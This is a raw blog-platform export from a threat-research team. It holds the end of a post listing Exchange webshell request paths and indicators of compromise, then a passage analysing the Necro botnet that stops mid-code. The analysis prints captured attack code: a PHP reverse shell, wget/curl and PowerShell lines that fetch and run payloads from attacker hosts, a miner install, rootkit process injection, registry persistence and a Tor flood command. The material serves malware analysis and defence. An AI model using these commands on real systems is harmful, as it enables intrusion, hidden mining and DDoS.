/aspnet_client/eror.aspx \t1266\nGET /aspnet_client/0QWYSEXe.aspx \t1263\nGET /owa/auth/current/one1.aspx \t1260\nGET /aspnet_client/session.aspx \t1242\nGET /aspnet_client/iispage.aspx \t1213\nGET /aspnet_client/system_web/logx2.aspx \t1212\nGET /owa/auth/Current/themes/resources/owafont_vo.aspx \t1207\nGET /aspnet_client/log.aspx \t1207\nGET /aspnet_client/WlUtyY.aspx \t1168\nGET /aspnet_client/aspnet_www.aspx \t1167\nGET /owa/auth/15.0.847/themes/resources/hmask.aspx \t1164\nGET /owa/auth/Current/app222.aspx \t1155\nGET /owa/auth/15.1.1913/themes/resources/View_Photos.aspx \t1147\nGET /owa/auth/ErrorAA.aspx \t1089\nGET /owa/auth/one.aspx \t1079\nGET /aspnet_client/errorcheck.aspx \t1074\nGET /owa/auth/one1.aspx \t1072\nGET /aspnet_client/system_web/logfe.aspx \t1064\nGET /owa/auth/zntwv.aspx \t1031\nGET /owa/auth/Current/themes/resources/owafont_vn.aspx \t1019\nGET /owa/auth/shel.aspx \t1016\nGET /owa/auth/shel2.aspx \t1011\nGET /owa/auth/bob.aspx \t1008\nGET /owa/auth/OutlookZH.aspx \t1008\nGET /owa/auth/Current/themes/resources/daxlz.aspx \t1001\nGET /owa/auth/authhead.aspx \t1000\nGET /owa/auth/15.1.1913/themes/resources/bg_gradient_login.aspx \t993\nGET /aspnet_client/default1.aspx \t984\nGET /aspnet_client/system_web/logon.aspx \t978\nGET /aspnet_client/s.aspx \t930\nGET /aspnet_client/RedirSuiteServerProxy.aspx \t927\nGET /aspnet_client/8aUco9ZK.aspx \t920\nGET /aspnet_client/F48zhi6U.aspx \t917\nGET /aspnet_client/E3MsTjP8.aspx \t915\nGET /aspnet_client/Fc1b3WDP.aspx \t915\nGET /aspnet_client/2XJHwN19.aspx \t907\nGET /aspnet_client/0q1iS7mn.aspx \t905\nGET /aspnet_client/shell.aspx \t901\nGET /aspnet_client/McYhCzdb.aspx \t898\nGET /aspnet_client/sol.aspx \t893\nGET /aspnet_client/aspnettest.aspx \t889\nGET /aspnet_client/error_page.aspx \t885\nGET /aspnet_client/system_web/error.aspx \t883\nGET /aspnet_client/UwSPMsFi.aspx \t882\nGET /aspnet_client/web.config.aspx \t878\nGET /aspnet_client/shellex.aspx \t876\nGET /aspnet_client/uHSPTWMG.aspx \t873\nGET /aspnet_client/help.aspx \t868\nGET /aspnet_client/load.aspx \t865\nGET /aspnet_client/zXkZu6bn.aspx \t858\nGET /aspnet_client/ogu7zFil.aspx \t843\nGET /owa/auth/shell.aspx \t644\nGET /owa/auth/web.aspx \t643\nGET /owa/auth/aspnet_client.aspx \t639\nGET /owa/auth/errorEEE.aspx \t635\nGET /owa/auth/27fib.aspx \t627\nGET /owa/auth/errorEE.aspx \t625\nGET /owa/auth/b.aspx \t624\nGET /owa/auth/aspnettest.aspx \t621\nGET /owa/auth/healthcheck.aspx \t621\nGET /owa/auth/t.aspx \t620\nGET /owa/auth/shellex.aspx \t619\nGET /owa/auth/wanlin.aspx \t619\nGET /owa/auth/aspnet_iisstart.aspx \t619\nGET /owa/auth/errorFF.aspx \t615\nGET /owa/auth/test.aspx \t615\nGET /owa/auth/document.aspx \t614\nGET /owa/auth/xx.aspx \t613\nGET /owa/auth/help.aspx \t612\nGET /owa/auth/evilcorp.aspx \t611\nGET /owa/auth/web.config.aspx \t606\nGET /owa/auth/error_page.aspx \t605\nGET /owa/auth/aspnet_www.aspx \t603\nGET /owa/auth/errorFE.aspx \t601\nGET /owa/auth/errorEW.aspx \t597\nGET /owa/auth/OutlookDA.aspx \t288\nGET /owa/auth/OutlookFR.aspx \t208\nGET /owa/auth/OutlookIT.aspx \t187\nGET /owa/auth/OutlookDE.aspx \t186\nGET /owa/auth/OutlookES.aspx \t182\nGET /owa/auth/expiredpassword.aspx \t175\nGET /owa/auth/OutlookPL.aspx \t171\nGET /owa/auth/OutlookAR.aspx \t165\nGET /owa/auth/OutlookSE.aspx \t162\nGET /owa/auth/logoff.aspx \t150\nGET /owa/auth/OutlookAS.aspx \t146\nGET /owa/auth/OutlookIO.aspx \t144\nGET /owa/auth/OutlookCN.aspx \t111\nGET /aspnet_client/Service.aspx \t88\nGET /aspnet_client/1d.aspx \t88\nGET /aspnet_client/Metabase.aspx \t86\nGET /aspnet_client/7KmCS.aspx \t86\nGET /aspnet_client/config.aspx \t79\nGET /aspnet_client/cafZCu.aspx \t78\nGET /aspnet_client/8lw7tahf9i1pjnro.aspx \t77\nGET /aspnet_client/MAlREnavuY.aspx \t77\nGET /aspnet_client/a.aspx \t77\nGET /aspnet_client/Default.aspx \t76\nGET /aspnet_client/ahihi.aspx \t76\nGET /aspnet_client/aa.aspx \t76\nGET /aspnet_client/aspnet_iistart.aspx \t75\nGET /aspnet_client/configs.aspx \t74\nGET /aspnet_client/aspnet.aspx \t71\nGET /aspnet_client/aspx_client.aspx \t69\nGET /aspnet_client/error404.aspx \t67\nGET /aspnet_client/bob.aspx \t67\nGET /aspnet_client/document.aspx \t67\nGET /aspnet_client/authhead.aspx \t67\nGET /aspnet_client/current/one1.aspx \t63\nGET /aspnet_client/client.aspx \t63\nGET /aspnet_client/erroree.aspx \t63\nGET /owa/auth/seclogon.aspx \t61\nGET /aspnet_client/upnews.aspx \t60\nGET /aspnet_client/errorff.aspx \t60\nGET /owa/auth/Current/themes/resources/system_io.aspx \t60\nGET /owa/auth/15.1.225/scripts/premium/errorPE.aspx \t59\nGET /aspnet_client/y3iGH.aspx \t59\nGET /owa/auth/Current/themes/resources/errorFE.aspx \t59\nGET /owa/auth/Current/AMNBJLXqoHTV.aspx \t59\nGET /aspnet_client/errorew.aspx \t59\nGET /owa/auth/Current/themes/resources/OutlookQN.aspx \t59\nGET /owa/auth/Current/themes/resources/View_tools.aspx \t59\nGET /owa/auth/6GIXZG.aspx \t59\nGET /aspnet_client/system_web/ogzsis0L.aspx \t59\nGET /owa/auth/Current/themes/resources/Ignrop.aspx \t59\nGET /aspnet_client/errorpages.aspx \t58\nGET /aspnet_client/erroreee.aspx \t58\nGET /owa/auth/hmknq.aspx \t57\nGET /aspnet_client/system_web/4_0_30319/self.aspx \t57\nGET /owa/auth/DesktopShellExt.aspx \t57\nGET /aspnet_client/web.aspx \t56\nGET /aspnet_client/system_web/9VkFwtxt.aspx \t56\nGET /aspnet_client/default.aspx \t56\nGET /aspnet_client/soHKY.aspx \t56\nGET /aspnet_client/errorpage.aspx \t56\nGET /owa/auth/rlvgk.aspx \t54\nGET /owa/auth/logerr.aspx \t54\nGET /owa/auth/pzbwl.aspx \t54\nGET /owa/auth/owaauth.aspx \t54\nGET /aspnet_client/est11.aspx \t54\nGET /owa/auth/errorcheck.aspx \t53\nGET /owa/auth/Current/layout.aspx \t52\nGET /owa/auth/Current/themes/resources/logon.aspx \t52\nGET /owa/auth/CommonError.aspx \t52\nGET /owa/auth/Current/themes/config1.aspx \t52\nGET /owa/auth/ErrorDef.aspx \t52\nGET /owa/auth/iasads.aspx \t51\nGET /owa/auth/15.1.2044/themes/resources/office365_ph.aspx \t51\nGET /owa/auth/061a06908b.aspx \t50\nGET /owa/auth/Current/zJBxcBoI.aspx \t50\nGET /owa/auth/errorew.aspx \t50\nGET /aspnet_client/help..aspx \t50\nGET /owa/auth/15.0.1497/themes/resources/error.aspx \t50\nGET /owa/auth/rwinsta.aspx \t50\nGET /aspnet_client/t.aspx \t50\nGET /owa/auth/server.aspx \t49\nGET /owa/auth/erroreww.aspx \t49\nGET /aspnet_client/temp.aspx \t49\nGET /owa/auth/frow.aspx \t49\nGET /aspnet_client/test007.aspx \t49\nGET /owa/auth/fhsvc.aspx \t49\nGET /owa/auth/s.aspx \t48\nGET /owa/auth/errorpage.aspx \t48\nGET /aspnet_client/zEeomtdYcX.aspx \t48\nGET /owa/auth/session.aspx \t48\nGET /owa/auth/secauth.aspx \t48\nGET /owa/auth/Current/Exchanges.aspx \t48\nGET /owa/auth/erroree.aspx \t48\nGET /owa/auth/atlthunk.aspx \t48\nGET /aspnet_client/voqbETdoni.aspx \t48\nGET /owa/auth/secauth1.aspx \t48\nGET /owa/auth/online.aspx \t48\nGET /owa/auth/erroreee.aspx \t48\nGET /owa/auth/outlooken.aspx \t48\nGET /owa/auth/error.aspx \t47\nGET /owa/auth/ProximityService.aspx \t47\nGET /owa/auth/outlookfront.aspx \t47\nGET /owa/auth/proxylogon.aspx \t47\nGET /owa/auth/8lw7tahf9i1pjnro.aspx \t47\nGET /owa/auth/ovfwHWjwWm.aspx \t47\nGET /owa/auth/qnx.aspx \t47\nGET /owa/auth/plorion.aspx \t47\nGET /aspnet_client/uyqITYBPew.aspx \t47\nGET /owa/auth/outlookru.aspx \t47\nGET /aspnet_client/show.aspx \t47\nGET /aspnet_client/fatal-erro.aspx \t46\nGET /owa/auth/errorfff.aspx \t46\nGET /owa/auth/KBDBENE.aspx \t46\nGET /owa/auth/OutlookUS.aspx \t46\nGET /aspnet_client/system.aspx \t46\nGET /owa/auth/login.aspx \t46\nGET /owa/auth/letmeinplzs.aspx \t46\nGET /owa/auth/jhJ2zT9ouOfP6VnBcHg3.aspx \t46\nGET /owa/auth/errorff.aspx \t46\nGET /owa/auth/redirsuiteserverproxy.aspx \t45\nGET /aspnet_client/signon.aspx \t45\nGET /aspnet_client/healthcheck.aspx \t45\nGET /aspnet_client/login.aspx \t45\nGET /owa/auth/ntprint.aspx \t45\nGET /owa/auth/m0xbqRg1ranzvGD3jiXT.aspx \t44\nGET /aspnet_client/qfmrucnzl.aspx \t44\nGET /owa/auth/errorpages.aspx \t44\nGET /owa/auth/XblGameSave.aspx \t44\nGET /owa/auth/OutlookDN.aspx \t44\nGET /aspnet_client/obq.aspx \t44\nGET /owa/auth/load.aspx \t44\nGET /aspnet_client/logaaa.aspx \t44\nGET /owa/auth/discover.aspx \t43\nGET /owa/auth/outlookjp.aspx \t43\nGET /owa/auth/jOBJIfr92ERLmg1HcnF3.aspx \t43\nGET /owa/auth/hUjwpeROcY7Fo4g8ETH3.aspx \t42\nGET /aspnet_client/shel90.aspx \t42\nGET /aspnet_client/support.aspx \t42\nGET /owa/auth/HcDKNzBoha.aspx \t41\nGET /owa/auth/multiup.aspx \t41\nGET /owa/auth/FR5Ha0D1dwfsqIUMhLCQ.aspx \t40\nGET /owa/auth/outlookzh.aspx \t40\nGET /owa/auth/HUUPItrNpXvI.aspx \t40\nGET /owa/auth/dbuj9.aspx \t40\nGET /owa/auth/xclkmcfldfi948398430fdjkfdkj.aspx \t40\nGET /owa/auth/L2oXwTljs3GnMyHQV0KR.aspx \t39\nGET /owa/auth/sol.aspx \t39\nGET /owa/auth/httpproxy.aspx \t39\nGET /owa/auth/XboxNetApiSvc.aspx \t39\nGET /owa/auth/supp0rt.aspx \t39\nGET /aspnet_client/one.aspx \t39\nGET /owa/auth/signon.aspx \t38\nGET /aspnet_client/outlookjp.aspx \t38\nGET /owa/auth/OutlookEN.US.aspx \t38\nGET /owa/auth/KrhHyDPwb70ct362JmLn.aspx \t38\nGET /owa/auth/OutlookUN.aspx \t37\nGET /owa/auth/aa.aspx \t36\nGET /owa/auth/aaa.aspx \t36\nGET /owa/auth/iispage.aspx \t36\nGET /aspnet_client/redirsuiteserverproxy.aspx \t36\nGET /owa/auth/shelltest.aspx \t35\nGET /owa/auth/system_web/log.aspx \t35\nGET /owa/auth/aspx_client.aspx \t35\nGET /owa/auth/tst1.aspx \t35\nGET /owa/auth/tpmvscmgrsvr.aspx \t35\nGET /aspnet_client/online.aspx \t34\nGET /owa/auth/VqEUaLjKpcWoNC7yPMlz.aspx \t34\nGET /owa/auth/aspnet.aspx \t34\nGET /aspnet_client/outlookru.aspx \t34\nGET /aspnet_client/outlookzh.aspx \t34\nGET /aspnet_client/outlookfront.aspx \t34\nGET /aspnet_client/shel.aspx \t33\nGET /aspnet_client/logg.aspx \t33\nGET /owa/auth/asas.aspx \t33\nGET /aspnet_client/server.aspx \t33\nGET /owa/auth/tNLPge.aspx \t32\nGET /owa/auth/ahihi.aspx \t32\nGET /owa/auth/TimeoutLogout.aspx \t32\nGET /owa/auth/aspnet_pages.aspx \t32\nGET /owa/auth/ZI3uMczmPa5bwTYVpKsE.aspx \t32\nGET /owa/auth/test13037.aspx \t31\nGET /aspnet_client/shel2.aspx \t31\nGET /aspnet_client/one1.aspx \t31\nGET /aspnet_client/httpproxy.aspx \t31\nGET /owa/auth/test1337.aspx \t31\nGET /owa/auth/signout.aspx \t29\nGET /aspnet_client/outlooken.aspx \t28\nGET /owa/auth/default1.aspx \t28\nGET /owa/auth/theme-gsx8ujzpicf0.aspx \t28\nGET /aspnet_client/multiup.aspx \t27\nGET /aspnet_client/logout.aspx \t27\nGET /owa/auth/theme-vten8snn874b.aspx \t25\nGET /aspnet_client/error.aspx \t8\nGET /aspnet_client/errorFF.aspx \t8\nGET /aspnet_client/errorEE.aspx \t8\nGET /owa/auth/OutlookJP.aspx \t6\nGET /aspnet_client/errorEW.aspx \t6\nPOST /aspnet_client/discover.aspx \t5\nGET /aspnet_client/errorEEE.aspx \t5\nPOST /aspnet_client/system_web/logx2.aspx \t4\nGET /owa/auth/HttpProxy.aspx \t4\nGET /owa/auth/OutlookRU.aspx \t4\nGET /aspnet_client/system_web/sol.aspx \t4\nGET /aspnet_client/system_web/QBFjM1SC.aspx \t4\nGET /aspnet_client/OutlookJP.aspx \t4\nGET /aspnet_client/system_web/ioWYM7C4.aspx \t4\nGET /owa/auth/Online.aspx \t4\nGET /aspnet_client/MultiUp.aspx \t4\nGET /owa/auth/Logout.aspx \t4\nGET /aspnet_client/system_web/E12B65rm.aspx \t4\nGET /aspnet_client/system_web/vY4qLEpG.aspx \t3\nGET /aspnet_client/system_web/test.aspx \t3\nGET /aspnet_client/Online.aspx \t3\nGET /aspnet_client/system_web/3ue5myCq.aspx \t3\nGET /aspnet_client/system_web/sJ0f8qHt.aspx \t3\nGET /aspnet_client/system_web/cMvBgHLZ.aspx \t3\nGET /aspnet_client/system_web/WFk2or3Y.aspx \t3\nGET /aspnet_client/system_web/GnCwADKH.aspx \t3\nGET /aspnet_client/rabiitch.aspx \t3\nGET /aspnet_client/system_web/Cs64LbPk.aspx \t3\nGET /aspnet_client/Logout.aspx \t2\nGET /owa/auth/WMSPDMOD.aspx \t2\nGET /aspnet_client/OutlookRU.aspx \t2\nGET /owa/auth/Discover.aspx \t2\nGET /aspnet_client/system_web/2TFGNswO.aspx \t2\nGET /aspnet_client/Discover.aspx \t2\nGET /owa/auth/checkerror635284.aspx \t2\nGET /owa/auth/MultiUp.aspx \t2\nGET /aspnet_client/system_web/3NHhPxJ5.aspx \t2\nGET /aspnet_client/system_web/1A2ZeQOu.aspx \t2\nGET /owa/auth/Current/themes/resources/lgnleft.aspx \t2\nGET /aspnet_client/checkerror635284.aspx \t2\nGET /owa/auth/1d61acae91.aspx \t2\nGET /owa/auth/current/themes/resources/error.aspx \t1\nGET /aspnet_client/iisstart.aspx \t1\nGET /owa/auth/lo.aspx \t1\nGET /owa/auth/error404.aspx \t1\n```\n\n\n### Miscrosoft Exchange服务器分布\n360 Quake网络空间测绘系统通过对全网资产测绘，发现[Microsoft Exchange服务器](https://quake.360.cn/quake/#/searchResult?searchVal=app%3A%22Exchange%E9%82%AE%E4%BB%B6%E6%9C%8D%E5%8A%A1%E5%99%A8%22&selectIndex=quake_service)共3,378,260条数据记录，其中有534,590个独立IP，具体分布如下图所示。\n<a href=\"__GHOST_URL__/content/images/2021/03/microsoft_exchange_distribution_cn.png\"><img src=\"__GHOST_URL__/content/images/2021/03/microsoft_exchange_distribution_cn.png\" class=\"kg-image\"/></a>\n \n### 联系我们\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者通过邮件**netlab[at]360.cn**联系我们。\n\n\n### IoC\nIP:\n```\n178.62.226.184\n157.245.47.214\n```\n\nMiner Proxy:\n```\n159.65.206.137:3333\n```\n\nURL:\n```\nhttp://178.62.226.184/mini-reverse.ps1 \nhttp://178.62.226.184/run.ps1\nhttp://178.62.226.184/config.json\nhttp://178.62.226.184/javacpl.exe\nhttp://178.62.226.184/WinRing0x64.sys\n```\n\nMD5:\n```\n79e2c9953f452f777d55749f01e5f3b7\n2d4d75e46f6de65fba2451da71686322\n0fe28f557e9997cd2750ff3fa86a659e\n67f2d42e30f6239114feafc9ffd009d8\n0c0195c48b6b8582fa6f6373032118da\n```\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 604ece23d0d9b7000712c910 |
post | null | 2021-03-17T04:27:57.000Z | 63873b9a8b1c1e0007f52fb1 | necro-upgrades-again-using-tor-dynamic-domain-dga-and-aiming-at-both-windows-linux | 0 | 2021-03-18T15:07:37.000Z | public | published | null | 2021-03-18T15:07:00.000Z | Necro upgrades again, using Tor + dynamic domain DGA and aiming at both Windows & Linux | <!--kg-card-begin: markdown--><h2 id="overview">Overview</h2>
<p>Back in January, we blogged about a new botnet <a href="__GHOST_URL__/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/">Necro</a> and shortly after our report, it stopped spreading. On March 2nd, we noticed a new variant of Necro showing up on our BotMon tracking radar March 2nd, the BotMon system has detected that Necro has started spreading again, in addition to the previous TerraMaster RCE (CVE_2020_35665) and Zend RCE (CVE-2021-3007), two newer vulnerabilities Laravel RCE (CVE-2021-3129) and WebLogic RCE ( CVE-2020-14882) have been added, the following graphic shows the trend.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/exp_scan_trend_20k-2.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>We found that after a month of silence the new version of Necro has been significantly changed and further enhanced, the following is a summary:</p>
<ol>
<li>Start to attack Windws system and use Rootkit to hide itself on Windows platform.</li>
<li>"subdomain DGA + dynamic domain name" are being used to generate C2 domains</li>
<li>C2 communication support Tor, and a Tor-based DDoS attacks has been added.</li>
<li>It propagates <a href="__GHOST_URL__/tor-bld/">Gafgyt_tor</a> against specific Linux targets.</li>
<li>It tampers with the web service page on the victim machine to perform browser mining, as well as stealing user data, turning the user's browser into DDos bot, and hash cracking.</li>
</ol>
<p>We mentioned earlier this month that <a href="__GHOST_URL__/tor-bld/">Gafgyt_tor</a> and Necro are released by same group, the so-called Keksec, the functions of this new Nerco is shown below</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/necro_attack_flow-2.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>It is worth noting that we have seen two samples of the new version, one uses Tor for C2 and one generates C2 by using "subdomain DGA + dynamic domain.</p>
<h2 id="sampleanalysis">Sample Analysis</h2>
<h3 id="scanningandpropagation">Scanning and propagation</h3>
<ul>
<li>Laravel RCE (CVE-2021-3129)</li>
</ul>
<p>The exploit of this vulnerability uses a reverse shell to first download a bash script, as shown in the following figure.</p>
<pre><code>ZCgAMCXTa='php -r \'$sock=fsockopen("'+self.YxqCRypO+'",9999);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);\''
ZCgAMCXTa=ZCgAMCXTa.replace('/', '\/')
</code></pre>
<p>The downloaded bash script functions as follows.</p>
<ol>
<li>Download and execute another script <code>malware.sh</code>.</li>
<li>Download and execute <a href="__GHOST_URL__/tor-bld/">Gafgyt_tor</a>.</li>
<li>Download and execute the mining program.</li>
</ol>
<p>Here is a bash script we captured.</p>
<pre><code>wget http://kek.gay/malware.sh -O malware.sh
sh malware.sh
rm -f malware.sh
cd /tmp || cd /home/$USER || cd /var/run || cd $(busybox find / -writable -readable -executable | head -n 1) || cd /mnt || cd / ;
wget http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; busybox wget http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; curl http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; busybox curl http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; ftpget -v -u anonymous -p anonymous -P 21 45.145.185.83 IObeENwjx64 IObeENwjx64; busybox ftpget -v -u anonymous -p anonymous -P 21 45.145.185.83 IObeENwjx64 IObeENwjx64; chmod 777 IObeENwjx64; ./IObeENwjx64; rm -f IObeENwjx64
...
export ARGS="-o 45.145.185.83:9050"
export LINE="[ ! -f /tmp/.apid ] && echo > /tmp/.apid;./.1/sshd $ARGS >> /dev/null;./.2/sshd $ARGS >> /dev/null &"
echo "$LINE" > ./.backup.sh
curl http://45.145.185.83/xmrig1 -O
wget http://45.145.185.83/xmrig1 -O xmrig1
mkdir ./.1;mv -f xmrig1 ./.1/sshd
...
chmod +x ./.backup.sh;
sh ./.backup.sh &
exit
</code></pre>
<p>One of the malware.sh scripts is used to download and execute a new version of Necro, as shown below.</p>
<pre><code>#pkill -9 python
wget http://45.144.225.96/benchmark.py -O benchmark.py
python benchmark.py || python2 benchmark.py || python2.7 benchmark.py || /usr/bin/python benchmark.py || /usr/bin/ python2 benchmark.py || /usr/bin/ python2.7 benchmark.py
</code></pre>
<ul>
<li>WebLogic RCE (CVE-2020-14882)</li>
</ul>
<p>The vulnerability has two exploits, one for Linux and one for Windows.</p>
<p>The exploit for Linux uses bash, which downloads and executes both Necro (setup.py) and the mining program.</p>
<pre><code>cd /tmp||cd $(find / -writable -readable -executable | head -n 1);php -r "file_put_contents(\\".setup\\", file_get_contents(\\"http://DOMAIN/setup\\"));";curl http://DOMAIN/setup -O;wget http://DOMAIN/setup -O .setup;chmod 777 .setup;./.setup;php -r "file_put_contents(\\".setup.py\\", file_get_contents(\\"http://DOMAIN/setup.py\\"));";curl http://DOMAIN/setup.py -O;wget http://DOMAIN/setup.py -O .setup.py;chmod 777 .setup.py;./.setup||python2 .setup.py||python .setup.py||./setup.py;DIR=`pwd`;ARGS="-o DOMAIN:9050";LINE="[ ! -f $DIR/.pidfile ] && echo > $DIR/.pidfile;$DIR/.1/sshd $ARGS||$DIR/.2/sshd $ARGS >> /dev/null||./sshd $ARGS >> /dev/null &";cd $DIR;echo "$LINE" > $DIR/.backup.sh;curl http://DOMAIN/xmrig1 -O||wget http://DOMAIN/xmrig1 -O xmrig1;mkdir $DIR/.1;mv -f xmrig1 $DIR/.1/sshd;chmod 777 $DIR/.1/sshd;curl http://DOMAIN/xmrig -O||wget http://DOMAIN/xmrig -O xmrig;mkdir $DIR/.2;mv -f xmrig $DIR/.2/sshd;chmod 777 $DIR/.2/sshd;chmod +x $DIR/.backup.sh;$DIR/.backup.sh
</code></pre>
<p>The Windows exploit uses Powershell, which first downloads the packaged Pyhton 2.7 executable (py.exe), then downloads and executes Necro (setup.py).</p>
<pre><code>"@powershell -NoProfile -ExecutionPolicy unrestricted -Command \"(New-Object System.Net.WebClient).DownloadFile('http://DOMAIN/py.exe', 'python.exe'); (New-Object System.Net.WebClient).DownloadFile('http://DOMAIN/setup.py', 'setup.py');\" & .\python.exe setup.py
</code></pre>
<h3 id="attackwindowssystem">Attack Windows system</h3>
<p>From the above analysis, we can see that some WebLogic servers are running on Windows OS, and the KekSec group is obviously interested in these hosts as well. After the sample is started, if the underlying operating system is detected as Windows then py.exe will be copied to <code>USERPROFILE\\$6829.exe</code>, the code is shown in the following figure.</p>
<pre><code>if os.name == 'nt':
try:
sys.argv[1]
except IndexError:
subprocess.Popen(GetCommandLine() + " 1", creationflags=8, close_fds=True)
os.kill(os.getpid(),9)
ehVfvaRFGMNE = CreateMutex(None, False, ehVfvaRFGMNE)
if GetLastError() == ERROR_ALREADY_EXISTS:
os.kill(os.getpid(),9)
if os.path.abspath(sys.argv[0]).lower().endswith('.exe') and not os.path.abspath(sys.argv[0]).lower().endswith('$6829.exe'):
try:
shutil.copyfile(os.path.abspath(sys.argv[0]), os.getenv('USERPROFILE') + '\\$6829.exe')
os.startfile(os.getenv('USERPROFILE') + '\\$6829.exe')
os.kill(os.getpid(),9)
except:
pass
else:
</code></pre>
<p>Necro will then download a file named <code>x86.dll</code> or <code>x64.dll</code> depending on the platform of choice:.</p>
<pre><code> try:
shutil.copyfile(sys.executable, os.getenv('USERPROFILE') + '\\$6829.exe')
except:
pass
try:
if platform.architecture()[0].replace("bit","") == "32":
eZazkoBSoXlO=ahFxoRRhxXE(urllib2.urlopen('http://' + RaRdhjkniVY + '/x86.dll').read())
else:
eZazkoBSoXlO=ahFxoRRhxXE(urllib2.urlopen('http://' + RaRdhjkniVY + '/x64.dll').read())
threading.Thread(target=oFHPQFcppV, args=(eZazkoBSoXlO,)).start()
except:
pass
</code></pre>
<p>This dll file corresponds to an open source Rootkit project <a href="https://github.com/bytecode77/r77-rootkit">r77-rootkit</a>, which according to the project description can fully hide specific processes:.</p>
<pre><code>r77 is a ring 3 Rootkit that hides following entities from all processes:
Files, directories, named pipes, scheduled tasks
Processes
CPU usage
Registry keys & values
TCP & UDP connections
It is compatible with Windows 7 and Windows 10 in both x64 and x86 editions.
</code></pre>
<p>Necro will then load the rootkit using a piece of shellcode using process injection from another open source project, <a href="https://github.com/monoxgas/sRDI/blob/master/Python/ShellcodeRDI.py">sRDI</a>, which uses the following shellcode.</p>
<pre><code> # pack rootkit and shellcode
...
gwObVdGd += struct.pack('b', ObianOdA - len(gwObVdGd) - 4)
gwObVdGd += b'\x00\x00\x00'
gwObVdGd += b'\x48\x89\xf4'
gwObVdGd += b'\x5e'
gwObVdGd += b'\xc3'
if len(gwObVdGd) != ObianOdA:
raise Exception('x64 bootstrap length: {} != bootstrapSize: {}'.format(len(gwObVdGd), ObianOdA))
return gwObVdGd + dXQHuOmhsG + FVgoLCUS + fzWaJzyWo
else:
...
gwObVdGd += struct.pack('b', ObianOdA - len(gwObVdGd) - 4) # Skip over the remainder of instructions
gwObVdGd += b'\x00\x00\x00'
gwObVdGd += b'\x83\xc4\x14'
gwObVdGd += b'\xc9'
gwObVdGd += b'\xc3'
if len(gwObVdGd) != ObianOdA:
raise Exception('x86 bootstrap length: {} != bootstrapSize: {}'.format(len(gwObVdGd), ObianOdA))
return gwObVdGd + dXQHuOmhsG + FVgoLCUS + fzWaJzyW
# inject process
FfyiMaCpdR = windll.kernel32.OpenProcess(0x1F0FFF, False, UjyuiVGyhiD)
if not FfyiMaCpdR:
cJaQhosf -= 1
return
llvOMLUBC = windll.kernel32.VirtualAllocEx(FfyiMaCpdR, 0, len(eZazkoBSoXlO), 0x00001000, 0x40)
windll.kernel32.WriteProcessMemory(FfyiMaCpdR, llvOMLUBC, eZazkoBSoXlO, len(eZazkoBSoXlO), 0)
if not windll.kernel32.CreateRemoteThread(FfyiMaCpdR, None, 0, llvOMLUBC, 0, 0, 0):
</code></pre>
<p>Finally, Necro will register the bootstrap item to <code>SOFTWARE\Microsoft\Windows\CurrentVersion\Run</code>:</p>
<pre><code> if os.name == 'nt':
try:
aReg = ConnectRegistry(None,HKEY_CURRENT_USER)
aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
SetValueEx(aKey,'System explore',0, REG_SZ, os.getenv('USERPROFILE') + '\\$6829.exe ' + os.path.r)
windll.kernel32.SetFileAttributesW(os.getenv('USERPROFILE') + '\\$6829.exe', FILE_ATTRIBUTE_HIDDEN)
except:
pass
</code></pre>
<h3 id="usingtorcommunication">Using Tor communication</h3>
<p>Since we have seen the KekSec group using Tor to hide the real C2 in <a href="__GHOST_URL__/tor-bld/">Gafgyt_tor</a>, we are not surprised that the new version of Necro supports Tor. What surprised us is that Necro actually integrates a Tor proxy-based DDoS attack method.</p>
<p>The Tor C2 communication code is as follows, and you can see the IPs and ports of multiple Tor proxies integrated in it.</p>
<pre><code>try:
import socks
except:
f=open('socks.py', "w")
f.write(urllib2.urlopen('https://raw.githubusercontent.com/mikedougherty/SocksiPy/master/socks.py').read())
f.close()
try:
import socks
except:
exit(1)
try:
os.remove('socks.py')
os.remove('socks.pyc')
except:
pass
server_list = ['192.248.190.123:8017', '192.248.190.123:8001', '88.198.82.11:9051', '52.3.115.71:9050', '185.117.154.207:443', '199.19.224.116:9050', '188.166.34.137:9000', '161.97.71.22:9000', '54.161.239.214:9050', '144.91.74.241:9080', '201.40.122.152:9050', '194.5.178.150:666', '83.217.28.46:9050', '8.210.163.246:60001', '35.192.111.58:9221', '127.0.0.1:9050']
...
self.onionserver='faw623ska5evipvarobhpzu4ntoru5v6ia5444krr6deerdnvpa3p7ad.onion'
self.AJEwioE='#freakyonionz'
self.Ajiowfe='FUCKWHITEHATZ'
...
</code></pre>
<p>The code of the newly added DDoS attack method <code>torflood</code> is as follows.</p>
<pre><code> elif CjoRjhoMj[3]==":" + self.cmdprefix + 'torflood':
try:
import socks
except:
...
self.commSock.send('PRIVMSG %s :Unable to initilize socks module.\n' % (MZqyBxdoS))
for i in range(0, int(CjoRjhoMj[7])):
threading.Thread(target=self.XoReERalPae,args=(CjoRjhoMj[4],CjoRjhoMj[5],int(CjoRjhoMj[6]),)).start()
self.commSock.send('PRIVMSG %s :Started Tor HTTP flood on URL: %s with %s threads\n' % (MZqyBxdoS,CjoRjhoMj[4],CjoRjhoMj[7]))
</code></pre>
<h3 id="subdomaindgadynamicdomainname">Sub-domain DGA + dynamic domain name</h3>
<p>The new version of Necro updated the DGA mechanism, using DGA to generate subdomains, and then with dynamic domain names to generate the final C2 domain name. From the code we can see the there are 30 dynamic domain name services providers.</p>
<pre><code>zMuBHdcdB=0
while zMuBHdcdB < 0xcc:
zMuBHdcdB+=1
random.seed(a=0x7774DEAD + zMuBHdcdB)
